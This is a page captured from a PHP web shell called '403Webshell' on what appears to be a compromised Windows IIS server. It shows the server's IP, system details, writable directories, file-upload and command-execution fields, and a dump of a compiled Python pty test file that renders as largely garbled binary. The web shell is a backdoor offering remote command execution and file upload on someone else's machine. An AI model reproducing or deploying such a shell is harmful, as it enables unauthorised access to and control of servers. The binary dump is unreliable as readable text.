403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/__pycache__/test_pty.cpython-315.opt-1.pyc
R
>lqj%Cc���]PHs]QHGsGsGsGsGsGs]QH G	s	\	Q2\%f\%f	\%c\OQ2g]PH,s]PH0s]PH4s
]PH8s]PH<s]PH@s]PHDs]PHHs]PHLsQsQs\\Q29%c
\\Q2s\%cQ	sLQ
sQsQsQ
sQsQQ\O:2sQQ\O:2sQs \!Q6Xc\OD2P!P!)�)�
is_android�is_apple_mobile�	is_wasm32�
reap_children�verbose�warnings_helper)�
import_module�termiosz%pty is not available on this platform�I wish to buy a fish license.
�For my pet fish, Eric.
�
TIOCGWINSZ�
TIOCSWINSZc��[U2P!�N)�print��msgs&�"C:\Python315\\Lib\test\test_pty.py�debugrs	��
�c�
�c��P!r�rs&rrr s��rc��UOQ2%cUOQQ2!UOQ2%cUOQQ2!U!)s

�
�
)�endswith�replace)�datas&r�normalize_outputr.sI���}�}�Y����|�|�I�u�-�-��}�}�W����|�|�G�U�+�+��Krc�V�[OUQP
Q5oUO2!)z8Read one line.  May block forever if no newline is read.�rb)�mode�closefd)�io�FileIO�readline)�fd�readers& r�	_readliner(Bs!��
�Y�Y�r��e�
4�F��?�?��rc��[O[O2[O
U2![OcS!h9hr)�tty�	tcgetattr�pty�STDIN_FILENO�unittest�expectedFailure�error)�funs&r�expectedFailureIfStdinIsTTYr2GsE��
��
�
�c�&�&�'��'�'��,�,���9�9�
���J�
�s�9=�A�A�Ac	��[OV2oU[U26wc[QUQ[U2QUQ02gP!)zshort write: os.write(z, z bytes) wrote z bytes)�os�write�len�	Exception)r&r�writtens&& r�	write_allr9QsQ���h�h�r� �G��#�d�)���0���B�s�4�y�k�B!�!(�	��1�2�	2�rc�`�\sQs][snQs\Q2s\Q2s\	O2Q2sQs\	O2Q2s
QsUsP!)�PtyTestc���[O[OUO2oUO[O[OU2PUm[
%cf[O[O2UmUO[O[OUO2P!P![OcP!h9hr)�signal�SIGHUP�
handle_sighup�
addCleanup�	stdin_dim�_HAVE_WINSZr*�tcgetwinsizer,r-�tcsetwinsizer0)�self�
old_sighups& r�setUp�
PtyTest.setUp\s����]�]�6�=�=�$�2D�2D�E�
�����
�
�v�}�}�j�A�����;�
�!$�!1�!1�#�2B�2B�!C������� 0� 0�#�2B�2B� $���0���
�9�9�
��
�s�4A"C�C3�.C3�2C3c��P!rr)�signum�frames&&rr?�PtyTest.handle_sighupjs��rc�<�[O[O2oPoUO%c�[Q2[QUO02UO]*]*UO]*]*1o[QU02[O[OU2[O[O2oUOV#Q2[Q2[OVP	2vqVo[QU8Q	U8Q
U802UO'[(O*U2UO'[(O*U2UO-[(O.U2Q2U%c(UO[OU2UQ
2U%c(UO[OU2UQ2[(O0U2o[(O2UP
2[(O4UQ2o	UOQU	2[(O2VX2[Q2[;U[<2[?U2o	UOQ[AU	22[Q2[;U[BQ*2[;U[BQ*2[?U2o
UOQ[AU
22P![Oc[Q2PoCKh9h[c6o[O[2OQSQ5Po=CKvPo=hh9h[ c[O2vqVPoCK~h9h[c["O$Q2gh9h[c,oSO6[6O86wcgPo=CK�Po=hh9h[(O2XX2h9h)z&tty.tcgetattr(pty.STDIN_FILENO) failedz%Setting pty.STDIN_FILENO window size.zoriginal size: (row, col) = ztarget size: (row, col) = z&pty.STDIN_FILENO window size unchangedz+Failed to set pty.STDIN_FILENO window size.)�exc_info�Calling pty.openpty()zGot master_fd=z, slave_fd=z
, slave_name=z,Pseudo-terminals (seemingly) not functional.zslave_fd is not a ttyz%openpty() failed to set slave termiosz)openpty() failed to set slave window size�rzWriting to slave_fdr
zWriting chunked output:N�N:rQNNr)"r*r+r,r-r0rrArDrC�assertEqual�OSError�logging�	getLogger�__name__�warning�openpty�	TypeErrorr.�SkipTestr@r4�close�
assertTrue�isatty�get_blocking�set_blocking�read�errno�EAGAINr9�
TEST_STRING_1r(r�
TEST_STRING_2)rEr!�new_dim�
target_dim�e�	master_fd�slave_fd�
slave_name�blocking�s1�s2s&          r�test_openpty�PtyTest.test_openptynsH��	��=�=��!1�!1�2�D����>�>�>�
��=�>��4�T�^�^�4D�E�F�"�n�n�Q�/�!�3�T�^�^�A�5F��5J�K�
��2�:�,�?�@�� � ��!1�!1�:�>��*�*�3�+;�+;�<��� � ��!I�K�	T��)�*�
"�25�+�+�d�>B�3D�/�	�Z�

�O���L�x�k��J�=�A�B�	
������)�,�������(�+�����	�	�(�+�-D�E�����S�]�]�8�4�d�D�
F�����S�-�-�h�7��H�
J��?�?�9�-��
	1��O�O�I�u�-�
��W�W�Y��-��� � ��b�)�
�O�O�I�0�
�#�$��(�M�*�
�y�
!�����;�)�"�-�	/�	�&�'��(�M�"�-�.��(�M�"�-�.�
�y�
!�����4�6F�r�6J�K��a�y�y�	��:�;��D�	��,�
��!�!�(�+�3�3�A�A�4����	
���
"�&)�k�k�m�#�	�!�
�
"���	T��#�#�$R�S�S�	T��4�
��7�7�e�l�l�*��+��
��

�O�O�I�0�s��$L�CL7�=N%�	M:�#N%�P�-)O
�L4�"L4�3L4�7	M7�M7�*M2�2M7�:	N"�N"�N%�!N"�"N%�%	O�/O�
	P�P�O;�4O;�5P�;P�P�Pc�<�[Q2[O2vqUO[O
U2U[O6Xc�[O]2%f"[Q2[O]2[Q2[O2[Q2[O]2[O]2P!UO[OU22[QU*2[OU]P2oU%fL<[O O#[%UO'QQ	2Q
Q52J^[O(U]2vq[O*U2o[QVU1*2U]6XcUO-Q
2P!U]6XcUO-Q2P!U]6XcUO-Q2P!U]6wcUO-Q2P!P![c[Q2CKs[c[Q2CK�[Q2[O]2CK�9h[cCJh9h)zcalling pty.fork()zChild's fd 1 is not a tty?!zIn child, calling os.setsid()zos.setsid() succeeded! (bad!)zGood: OSError was raised.zNo setsid() available?zAn unexpected error was raised.z!Waiting for child (%d) to finish.rr�ascii)�encodingz+Child (%d) exited with code %d (status %d).z3Child raised an unexpected exception in os.setsid()z1pty.fork() failed to make child a session leader.z8Child spawned by pty.fork() did not have a tty as stdoutz&pty.fork() failed for unknown reasons.)rr,�forkr@r4r[�CHILDr]�_exit�setsidrS�AttributeError�assertFalse�get_inheritabler`�sys�stdoutr5�strr�waitpid�waitstatus_to_exitcode�fail)rE�pidrhr�status�ress&     r�	test_fork�PtyTest.test_fork�s���
�"�#�������������)�,��#�)�)���9�9�Q�<�<��3�4������
�1�2�
��	�	��"�5�6�������H�H�Q�K����R�/�/�	�:�;��5��;�<����7�7�9�b�1�D����
�
� � ��T�\�\�'�5�%A�.5�"7�8��J�J�s�A�.�M�S��+�+�F�3�C��?�3�V�BT�T�U��a�x��	�	�O�P�����	�	�M�N�����	�	�T�U�����	�	�B�C���s�
��1�2��!�
��.�/��
�
�7�8�������*����s<�"H2�)J�2	J�<J�J�J�#"J�	J�J�Jc��[Q2[O2vq[QUQUQ02UO[O
U2[Q2[O
U2[Q2[OU]2oUOUQ2P![cQoK#h9h)rOzGot master_fd 'z
', slave_fd '�'zClosing slave_fdzReading from master_fdr)	rr,rXr@r4r[r`rSrR)rErhrirs&   r�test_master_read�PtyTest.test_master_reads���
�%�&�!�k�k�m��	�
��	�{�-��z��C�D�������)�,�
� �!�
�����
�&�'�	��7�7�9�a�(�D�	
����s�#���	��D�	�s�B.�.	B>�8B>�=B>c��[O2vqU[O6Xc>[O[O
QQ,2[O]2[2o[OUQ29oQ6wcUOU2J1[OU]2vqUOU]2UOUO!2Q2[O"U2P![c+oSO[O6wcgPo=K�Po=hh9h[O"S2h9h)z-czprint("hi there")rPrs
hi there
)r,rsrt�spawnrz�
executabler4ru�	bytearrayr`�extendrSra�EIOr}rR�
take_bytesr[)rEr�r&�bufrrgr�s&      r�test_spawn_doesnt_hang�PtyTest.test_spawn_doesnt_hang+s����(�(�*����#�)�)���I�I�s�~�~�t�-@�A�B��H�H�Q�K�
	��+�C�
�!�w�w�r�4�0�0�t�S�8��J�J�t�$�9��J�J�s�A�.�M�S����V�Q�'����S�^�^�-��?��H�H�R�L���
��7�7�e�i�i�'��(��
��
�H�H�R�L�sI�,
E�7D�D�(AE�	E�E�D<�6D<�7E�<E�E�E)rA)rV�
__module__�__qualname__�__firstlineno__rG�staticmethodr?r2rnr�*ignore_fork_in_thread_deprecation_warningsr�r�r��__static_attributes__�__classdictcell__��
__classdict__s@rr;r;[s}������
��
�!�SL�!�SL�j�?�?�A�ID�B�ID�f$�&�?�?�A��B�rr;c�\`�\sQsQsnQsQsQsQsQsQs	Qs
Q	sQ
sQs
QsUsP!)
�
SmallPtyTests�Cz)These tests don't spawn children or hang.c���[OUm[OUm[O
Um[OUm[OUm
[OUm[OUm[OUm[O"Um[O&Um,Um,Um,Um,UmPUmP!r)r,r-�orig_stdin_fileno�
STDOUT_FILENO�orig_stdout_filenor[�orig_pty_close�_copy�orig_pty__copyrs�
orig_pty_fork�select�orig_pty_select�setraw�orig_pty_setrawr+�orig_pty_tcgetattr�	tcsetattr�orig_pty_tcsetattrr}�orig_pty_waitpid�fds�files�select_input�
select_output�tcsetattr_mode_setting)rEs&rrG�SmallPtyTests.setUpFs���!$�!1�!1���"%�"3�"3���!�i�i���!�i�i��� �X�X���"�z�z���"�z�z���"%�-�-���"%�-�-��� #����������
�������&*��#rc��UO[mUO[mUO
[mUO[mUO[m
UO[mUO[mUO[mUO"[mUO&[mUO*FDoUO
2J	UO.FDo[0OU2J	P![,cJSh9h[,cJ@h9hr)r�r,r-r�r�r�r[r�r�r�rsr�r�r�r�r�r+r�r�r�r}r�rSr�r4)rE�filer&s&  r�tearDown�SmallPtyTests.tearDownWs����1�1��� �3�3����'�'��	��'�'��	��%�%����)�)��
��)�)��
��/�/��
��/�/��
��+�+����J�J�D�
��
�
���
�(�(�B�
���������
��
��
�
��
�s0�%D&�
D8�&	D5�0D5�4D5�8	E�E�Ec�h�[O2oUOOU2U!r)r4�piper�r�)rE�pipe_fdss& r�_pipe�SmallPtyTests._pipems"���7�7�9��������!��rc�h�[O2oUOOU2U!r)�socket�
socketpairr�r�)rEr�s& r�_socketpair�SmallPtyTests._socketpairrs(���&�&�(�
��
�
���*�%��rc��UOVU1UOO]22UOO]2!)r)rRr��popr�)rE�rfds�wfds�xfdss&&&&r�_mock_select�SmallPtyTests._mock_selectws?�����$�d�+�T�->�->�-B�-B�1�-E�F��!�!�%�%�a�(�(rc�`�U1QkoU!)c�:�R]1!)�r)r�s�r�	mock_fork�0SmallPtyTests._make_mock_fork.<locals>.mock_fork}s
�����9�rr)rEr�r�s&f r�_make_mock_fork�SmallPtyTests._make_mock_fork|s���	��rc��V0mP!r)r�)rE�fileno�optr!s&&&&r�_mock_tcsetattr�SmallPtyTests._mock_tcsetattr�s��&*�#rc��UO2vqU[mUO2vq4U[mUO	2oSTt,tFDpfO2MJ	oo[
U]*Q2[
UQ2UO[mUOOV7]*,,,12UOOV7]*,,,12UOOV7]*,V']*,,12UOO,V']*,,12UOOV7]*,,,12UO[29^tt^2[OU]*2PPP2[OV]*,,,]2]*oUOV]*,U2UO[ O"U]2Q2UO[ O"U]*]2Q2P!ttoh)%fhK�9h)z6Test the normal data case on both master_fd and stdin.sfrom masters
from stdin)r�r,r�r-r�r�r9r�r�r��appendr��assertRaises�
IndexErrorr�rRr4r`)	rE�read_from_stdout_fd�mock_stdout_fd�
mock_stdin_fd�write_to_stdin_fdr��s�mastersr�s	&        r�test__copy_to_each� SmallPtyTests.test__copy_to_each�s���.2�j�j�l�+��*���+/�:�:�<�(�
�(����%�%�'�
�'1�2�z�!�8�8�:�z��2�	�'�!�*�n�-��#�]�3��&�&��
���� � �=�!�*�"=�r�2�!F�G����!�!�M�1�:�#>��B�"G�H���� � �=�!�*�"=��XY�PZ�?[�]_�!`�a����!�!�2���
�'C�R�"H�I���� � �=�!�*�"=�r�2�!F�G�
�
�
�z�
*�
*��I�I�g�a�j�!�+��}�}�1�1�:�>��B��J�1�M�����-�q�z�:�D�A�������!4�b�9�>�J����������R�0�-�@��+3�+�
*�s�I�I�I	�I	c�``�UO]2[m[2nU1Qk[mQ[mQ[m[2nU1Qk[mUO[m	Q[m
UO[O,2RQ2UOUORQ2P!)zCTest that spawn resets the tty mode no when _copy returns normally.c�:�PR,!rr)�_1�_2�status_sentinels&&�r�<lambda>�DSmallPtyTests.test__restore_tty_mode_normal_return.<locals>.<lambda>�s
���d�O�%<rc��P!rr��_s&rr�r��s��drc��P!rr)r�r��_3s&&&rr�r��s��trc�
:�R!rr)r&�
mode_sentinels&�rr�r��s���=rc��P!rrr�s&rr�r��s��trz4pty.waitpid process status not returned by pty.spawnz1pty.tcsetattr not called with original mode value)r�r,rs�objectr}r[r�r+r�r�r�rRr�r�)rEr�r�s&@@r�$test__restore_tty_mode_normal_return�2SmallPtyTests.test__restore_tty_mode_normal_return�s����
�'�'��*��� �(��<���"��	�+��	���
�0��
��,�,��
�#��
�������2���9o�p�����4�4�m�Ex�yr)r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�)rVr�r�r��__doc__rGr�r�r�r�r�r�r�r�r�r�r�s@rr�r�Cs=����3�+�"�,�
�
)�
�
+�A�<z�zrr�c��[2P!r)rrrr�tearDownModuler��s���Or�__main__)#r.�test.supportrrrrrr�test.support.import_helperrrZrar4r,r*rzr�r=r�r#rcrd�hasattrrBrrr(r2r9�TestCaser;r�r�rV�mainrrr�<module>r�s������5��i��
��I�
�
�
�C�
D�D��	�
�
�
�
�
�
�	�2�
�+�
��c�<�(�G�G�W�S�,�-G��
��
��(�
�2�f�h���f�Prz�H�%�%�rz�j��z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit